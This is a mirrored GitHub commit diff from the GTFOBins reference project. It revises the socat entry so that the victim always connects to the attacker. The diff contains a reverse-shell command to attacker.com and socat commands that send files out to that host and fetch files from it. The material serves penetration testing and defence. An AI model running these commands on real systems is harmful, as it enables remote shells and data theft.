mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-01-13 15:29:39 +01:00
Fix socat so that the victim always connects to the attacker
This commit is contained in:
parent
1f6d44f7a0
commit
b56bd683c9
@ -23,16 +23,18 @@ functions:
|
|||||||
RHOST=attacker.com
|
RHOST=attacker.com
|
||||||
RPORT=12345
|
RPORT=12345
|
||||||
./socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane
|
./socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane
|
||||||
upload:
|
file-upload:
|
||||||
- description: Run ``socat -u file:path tcp:ip:12345`` on the attacker box to send a file to your box.
|
- description: Run ``socat -u tcp-listen:12345,reuseaddr open:file_to_save,creat`` on the attacker box to collect the file.
|
||||||
code: |
|
code: |
|
||||||
RHOST=attacker.com
|
RHOST=attacker.com
|
||||||
RPORT=12345
|
RPORT=12345
|
||||||
./socat tcp-connect:$RHOST:$RPORT file:path
|
LFILE=file_to_send
|
||||||
download:
|
./socat -u file:$LFILE tcp-connect:$RHOST:$RPORT
|
||||||
- description: Run ``socat -u TCP-LISTEN:12345,reuseaddr OPEN:path,creat`` on your box to receive a file from attacker box.
|
file-download:
|
||||||
|
- description: Run ``socat -u file:file_to_send tcp-listen:12345,reuseaddr`` on the attacker box to send the file.
|
||||||
code: |
|
code: |
|
||||||
RHOST=attacker.com
|
RHOST=attacker.com
|
||||||
RPORT=12345
|
RPORT=12345
|
||||||
./socat tcp-listen:$RHOST:$RPORT,reuseaddr OPEN:path,creat
|
LFILE=file_to_save
|
||||||
|
./socat -u tcp-connect:$RHOST:$RPORT open:$LFILE,creat
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user